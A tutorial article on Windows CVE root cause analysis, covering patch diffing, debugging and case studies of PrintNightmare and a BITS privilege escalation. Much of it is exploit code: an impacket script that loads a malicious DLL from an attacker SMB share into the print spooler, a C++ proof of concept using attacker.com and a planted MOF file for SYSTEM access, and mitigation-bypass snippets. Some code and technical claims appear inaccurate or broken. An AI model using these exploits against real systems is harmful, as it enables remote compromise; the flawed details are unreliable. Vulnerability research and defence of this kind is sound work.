Windows CVE Root Cause Analysis: From Crash Dump to Exploit Primitive
Introduction
Analyzing Windows CVEs requires deep understanding of Windows internals, reverse engineering skills, and exploit development techniques. This guide demonstrates systematic root cause analysis from initial crash dump to working proof-of-concept exploit.
CVE Analysis Methodology
Phase 1: Information Gathering
# CVE information scraper
import requests
from bs4 import BeautifulSoup
def gather_cve_info(cve_id):
"""
Collect CVE details from multiple sources
"""
info = {
'cve_id': cve_id,
'nvd': None,
'msrc': None,
'patches': [],
'affected_versions': []
}
# NVD API
nvd_url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
response = requests.get(nvd_url)
if response.status_code == 200:
data = response.json()
info['nvd'] = {
'description': data['vulnerabilities'][0]['cve']['descriptions'][0]['value'],
'cvss': data['vulnerabilities'][0]['cve']['metrics']['cvssMetricV31'][0]['cvssData']['baseScore'],
'vector': data['vulnerabilities'][0]['cve']['metrics']['cvssMetricV31'][0]['cvssData']['vectorString']
}
# Microsoft Security Response Center
msrc_url = f"https://api.msrc.microsoft.com/cvrf/v2.0/cvrf/{cve_id}"
# ... parse MSRC data
return info
# Example: CVE-2021-1675 (PrintNightmare)
cve_info = gather_cve_info("CVE-2021-1675")
print(f"CVE: {cve_info['cve_id']}")
print(f"CVSS: {cve_info['nvd']['cvss']}")
print(f"Description: {cve_info['nvd']['description']}")
Phase 2: Patch Diffing
BinDiff Analysis:
# IDA Python script for patch diff analysis
import idaapi
import idc
import idautils
def find_patched_functions(old_binary, new_binary):
"""
Identify functions modified in security patch
"""
# Export old binary functions
old_funcs = {}
for ea in idautils.Functions():
func_name = idc.get_func_name(ea)
func_bytes = idc.get_bytes(ea, idc.get_func_attr(ea, idc.FUNCATTR_END) - ea)
old_funcs[func_name] = hashlib.sha256(func_bytes).hexdigest()
# Compare with new binary
# (Load new binary in separate IDA instance)
modified_funcs = []
for func_name, old_hash in old_funcs.items():
new_hash = get_function_hash_from_new_binary(func_name)
if old_hash != new_hash:
modified_funcs.append(func_name)
return modified_funcs
# Analyze localspl.dll patch for CVE-2021-1675
modified = find_patched_functions("localspl_old.dll", "localspl_patched.dll")
print("Modified functions:", modified)
# Output: ['RpcAsyncAddPrinterDriver', 'YAddPrinterDriverEx']
Ghidra Binary Diff:
// Ghidra script for automated patch analysis
import ghidra.app.script.GhidraScript;
import ghidra.program.model.listing.*;
public class PatchDiff extends GhidraScript {
public void run() throws Exception {
Program oldProgram = askProgram("Select OLD binary");
Program newProgram = askProgram("Select PATCHED binary");
FunctionIterator oldFuncs = oldProgram.getFunctionManager().getFunctions(true);
while (oldFuncs.hasNext()) {
Function oldFunc = oldFuncs.next();
Function newFunc = newProgram.getFunctionManager().getFunctionAt(
oldFunc.getEntryPoint());
if (newFunc == null) continue;
// Compare decompiled code
String oldCode = decompile(oldFunc);
String newCode = decompile(newFunc);
if (!oldCode.equals(newCode)) {
println("MODIFIED: " + oldFunc.getName());
println("OLD:\n" + oldCode);
println("NEW:\n" + newCode);
println("=" * 80);
}
}
}
}
Case Study: CVE-2021-1675 (PrintNightmare)
Vulnerability Overview
CVE-2021-1675: Windows Print Spooler Remote Code Execution
Root Cause: Insufficient validation in RpcAsyncAddPrinterDriver
Impact: Unauthenticated remote code execution with SYSTEM privileges
Vulnerable Code Analysis
Before Patch (localspl.dll):
// Decompiled from vulnerable localspl.dll
DWORD RpcAsyncAddPrinterDriver(
LPWSTR pName,
DRIVER_CONTAINER* pDriverContainer,
DWORD dwFileCopyFlags)
{
DRIVER_INFO_2W* pDriverInfo = pDriverContainer->Level2.pDriverInfo2;
// VULNERABILITY: No validation of dwFileCopyFlags
// Allows arbitrary file write via APD_COPY_FROM_DIRECTORY flag
if (dwFileCopyFlags & APD_COPY_FROM_DIRECTORY) {
// Copy driver files from specified directory
CopyDriverFile(pDriverInfo->pDriverPath, pDriverInfo->pConfigFile);
}
// Install driver
InstallPrinterDriver(pDriverInfo);
return ERROR_SUCCESS;
}
After Patch (localspl.dll):
DWORD RpcAsyncAddPrinterDriver(
LPWSTR pName,
DRIVER_CONTAINER* pDriverContainer,
DWORD dwFileCopyFlags)
{
DRIVER_INFO_2W* pDriverInfo = pDriverContainer->Level2.pDriverInfo2;
// PATCH: Validate caller permissions
if (dwFileCopyFlags & APD_COPY_FROM_DIRECTORY) {
// Check if caller is admin/system
if (!IsCallerAuthorized()) {
return ERROR_ACCESS_DENIED;
}
}
// Validate file paths
if (!ValidateDriverPath(pDriverInfo->pDriverPath)) {
return ERROR_INVALID_PARAMETER;
}
// ... rest of function
}
Patch Delta:
- Added authorization check for
APD_COPY_FROM_DIRECTORYflag - Added path validation to prevent directory traversal
WinDbg Root Cause Analysis
# Attach to spoolsv.exe
windbg -p <spoolsv_pid>
# Set breakpoint on vulnerable function
bp localspl!RpcAsyncAddPrinterDriver
# Send malicious RPC call (trigger PoC)
# ... PoC trigger ...
# Breakpoint hit
Breakpoint 0 hit
localspl!RpcAsyncAddPrinterDriver:
00007ff9`12345678 mov rsp,rbp
# Examine parameters
kd> dq rcx # pName
0000001a`12345000 00000000`00000000
kd> dq rdx # pDriverContainer
0000001a`12346000 00000000`00000002 # Level = 2
0000001a`12346008 0000001a`12347000 # pDriverInfo2
kd> dq 0000001a`12347000 # DRIVER_INFO_2W
0000001a`12347000 00000000`00000003 # cVersion
0000001a`12347008 0000001a`12348000 # pName
0000001a`12347010 0000001a`12349000 # pEnvironment
0000001a`12347018 0000001a`1234a000 # pDriverPath → CONTROLLED
0000001a`12347020 0000001a`1234b000 # pConfigFile → CONTROLLED
kd> du 0000001a`1234a000
"C:\Windows\System32\..\..\..\..\malicious.dll"
# VULNERABILITY: Path traversal in pDriverPath
# No validation of "../" sequences
# Allows DLL loading from arbitrary location
# Continue execution
kd> g
# DLL loaded at attacker-controlled path
ModLoad: 00007ff9`98760000 00007ff9`98770000 C:\malicious.dll
# Code execution achieved
Exploit Primitive Identification
Primitive: Arbitrary DLL load in SYSTEM process
# Exploit primitive abstraction
class PrintNightmareExploit:
def __init__(self, target_ip):
self.target = target_ip
self.smb_share = None
def setup_smb_share(self):
"""
Host malicious DLL on SMB share
"""
from impacket import smbserver
self.smb_share = smbserver.SimpleSMBServer()
self.smb_share.addShare("share", "/tmp/exploit")
# Place malicious.dll in /tmp/exploit/
self.smb_share.start()
def trigger_load(self):
"""
Trigger DLL load via RpcAsyncAddPrinterDriver
"""
from impacket.dcerpc.v5 import transport, rprn
# Connect to print spooler RPC
stringbinding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
# Craft driver info
driver_container = rprn.DRIVER_CONTAINER()
driver_container['Level'] = 2
driver_container['DriverInfo']['tag'] = 2
driver_info = rprn.DRIVER_INFO_2()
driver_info['cVersion'] = 3
driver_info['pName'] = "Evil Driver\x00"
driver_info['pEnvironment'] = "Windows x64\x00"
# Path traversal to SMB share
driver_info['pDriverPath'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"
driver_info['pConfigFile'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"
driver_info['pDataFile'] = f"\\\\{attacker_ip}\\share\\malicious.dll\x00"
driver_container['DriverInfo']['Level2'] = driver_info
# Trigger with APD_COPY_FROM_DIRECTORY flag
rprn.hRpcAsyncAddPrinterDriver(
dce,
pName=f"\\\\{self.target}\x00",
pDriverContainer=driver_container,
dwFileCopyFlags=0x10 | 0x8000 # APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY
)
def exploit(self):
self.setup_smb_share()
self.trigger_load()
print("[+] Exploit triggered. DLL should be loaded in spoolsv.exe")
Case Study: CVE-2020-0787 (Windows BITS Elevation of Privilege)
Vulnerability Analysis
CVE-2020-0787: Windows Background Intelligent Transfer Service (BITS) Privilege Escalation
Root Cause: Arbitrary file move vulnerability
Patch Diff Results
// BEFORE PATCH: qmgr.dll
HRESULT CBitsJob::SetNotifyInterface(IUnknown* pUnk) {
// No validation of file paths in job parameters
if (m_NotifyCmdLine) {
// Create hardlink to arbitrary file
CreateHardLink(m_TempFile, m_NotifyCmdLine, NULL);
}
return S_OK;
}
// AFTER PATCH: qmgr.dll
HRESULT CBitsJob::SetNotifyInterface(IUnknown* pUnk) {
// Validate file paths
if (m_NotifyCmdLine) {
if (!IsPathAllowed(m_NotifyCmdLine)) {
return E_ACCESSDENIED;
}
CreateHardLink(m_TempFile, m_NotifyCmdLine, NULL);
}
return S_OK;
}
Exploit Development
// CVE-2020-0787 PoC
#include <windows.h>
#include <bits.h>
#include <iostream>
int main() {
IBackgroundCopyManager* pManager = NULL;
IBackgroundCopyJob* pJob = NULL;
GUID jobId;
// Initialize COM
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
// Create BITS manager
CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyManager),
(void**)&pManager);
// Create job
pManager->CreateJob(L"EvilJob", BG_JOB_TYPE_DOWNLOAD, &jobId, &pJob);
// Add file (creates hardlink primitive)
pJob->AddFile(L"http://attacker.com/dummy",
L"C:\\Windows\\System32\\license.rtf"); // SYSTEM-writable file
// Create junction to redirect hardlink target
CreateJunction(L"C:\\Users\\Public\\junction",
L"C:\\Windows\\System32\\wbem");
// Trigger hardlink creation (will overwrite arbitrary file)
pJob->SetNotifyCmdLine(L"C:\\Users\\Public\\junction\\evil.mof", NULL);
// Complete job → hardlink created → MOF file planted → WMI execution → SYSTEM
pJob->Resume();
pJob->Complete();
// Wait for WMI to execute evil.mof
Sleep(5000);
std::cout << "[+] Exploit complete. Check for SYSTEM shell." << std::endl;
return 0;
}
Advanced Analysis Techniques
Time-Travel Debugging (TTD)
# Record vulnerable process
ttd.exe -out C:\traces spoolsv.exe
# Trigger vulnerability
# ... run PoC exploit ...
# Analyze trace in WinDbg
windbg -z C:\traces\spoolsv01.run
# Set breakpoint on memory corruption
kd> ba r4 <address>
# Replay backwards to find root cause
kd> g-
kd> k # Stack trace before corruption
# Identify exact instruction causing corruption
kd> !tt 100:0 # Jump to trace position
kd> u rip
Heap Corruption Analysis
# Enable Page Heap
gflags /i spoolsv.exe +hpa
# Restart service
net stop spooler
net start spooler
# Attach WinDbg
windbg -pn spoolsv.exe
# Page heap catches corruption immediately
(1a34.1b78): Access violation - code c0000005 (first chance)
HEAP[spoolsv.exe]: Invalid address specified to RtlFreeHeap
kd> !heap -p -a @rcx
address 0000001a12345000 found in
_DPH_HEAP_ROOT @ 1a12340000
in busy allocation (DPH_HEAP_BLOCK_BUSY)
UserAddr: 0000001a12345008
UserSize: 100
Allocation stack trace:
ntdll!RtlAllocateHeap+0x1234
localspl!CopyDriverFile+0x5678
localspl!RpcAsyncAddPrinterDriver+0x9abc
# Backtrace reveals allocation site
kd> !heap -p -l
# Shows lifetime of corrupted heap block
Symbolic Execution with Triton
# Symbolic execution to find exploitation path
from triton import *
ctx = TritonContext()
ctx.setArchitecture(ARCH.X86_64)
# Load vulnerable binary
binary = lief.parse("localspl.dll")
for segment in binary.segments:
ctx.setConcreteMemoryAreaValue(segment.virtual_address, segment.content)
# Symbolize input buffer
input_addr = 0x1234000
input_size = 0x1000
ctx.symbolizeMemory(MemoryAccess(input_addr, input_size))
# Emulate vulnerable function
pc = 0x180001000 # RpcAsyncAddPrinterDriver
while pc != 0x180001500: # Until return
opcode = ctx.getConcreteMemoryAreaValue(pc, 16)
inst = Instruction(pc, opcode)
ctx.processing(inst)
pc = ctx.getConcreteRegisterValue(ctx.registers.rip)
# Extract path constraints
constraints = ctx.getPathConstraints()
# Solve for crash conditions
for constraint in constraints:
model = ctx.getModel(constraint.getTakenPredicate())
if is_crash_condition(model):
print("CRASH INPUT FOUND:")
for sym_id, value in model.items():
print(f" {sym_id}: {hex(value.getValue())}")
Exploit Mitigation Analysis
CFG (Control Flow Guard) Bypass
// Check if CFG is enabled
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfg_policy;
GetProcessMitigationPolicy(GetCurrentProcess(),
ProcessControlFlowGuardPolicy,
&cfg_policy, sizeof(cfg_policy));
if (cfg_policy.EnableControlFlowGuard) {
// CFG active - indirect calls are validated
// Bypass: Use valid CFG targets (e.g., kernel32!LoadLibraryA)
}
// Exploit gadget
void* LoadLib = GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
// CFG-valid indirect call
typedef HMODULE (*LoadLibraryA_t)(LPCSTR);
LoadLibraryA_t load = (LoadLibraryA_t)LoadLib;
load("evil.dll"); // CFG allows this - valid target
ACG (Arbitrary Code Guard) Bypass
// ACG prevents new executable pages
// Bypass: ROP to VirtualProtect or use existing RWX pages
// Find RWX memory regions
MEMORY_BASIC_INFORMATION mbi;
LPVOID address = NULL;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
if (mbi.Protect == PAGE_EXECUTE_READWRITE) {
printf("RWX region: %p (size: %llx)\n", mbi.BaseAddress, mbi.RegionSize);
// Write shellcode here - no VirtualProtect needed
}
address = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
Responsible Disclosure
Coordinated Vulnerability Disclosure
# Bug bounty submission template
class CVEReport:
def __init__(self):
self.title = ""
self.severity = "" # Critical/High/Medium/Low
self.cvss_score = 0.0
self.affected_products = []
self.root_cause = ""
self.poc = None
self.mitigation = ""
def generate_report(self):
report = f"""
# Vulnerability Report
## Summary
{self.title}
## Severity
{self.severity} (CVSS: {self.cvss_score})
## Affected Products
{', '.join(self.affected_products)}
## Root Cause Analysis
{self.root_cause}
## Proof of Concept
{self.poc}
## Suggested Mitigation
{self.mitigation}
## Timeline
- Discovery: {self.discovery_date}
- Vendor Notification: {self.notification_date}
- Vendor Acknowledgment: {self.ack_date}
- Patch Release: {self.patch_date}
- Public Disclosure: {self.disclosure_date}
"""
return report
# Submit to Microsoft Security Response Center (MSRC)
report = CVEReport()
report.title = "Windows Print Spooler RCE"
report.severity = "Critical"
report.cvss_score = 9.8
# ... fill in details ...
submit_to_msrc(report.generate_report())
Conclusion
Windows CVE root cause analysis requires combining multiple disciplines: reverse engineering, exploit development, and system internals knowledge. Successful vulnerability researchers systematically analyze patches, reconstruct root causes, identify exploit primitives, and develop proof-of-concept exploits while adhering to responsible disclosure practices.
Understanding CVE analysis methodologies is essential for both offensive security research and defensive patch validation.
References
- Microsoft (2021). “MSRC Security Update Guide”
- Google Project Zero (2021). “PrintNightmare Analysis”
- NIST (2023). “National Vulnerability Database”
- Microsoft (2020). “Windows Exploit Protection”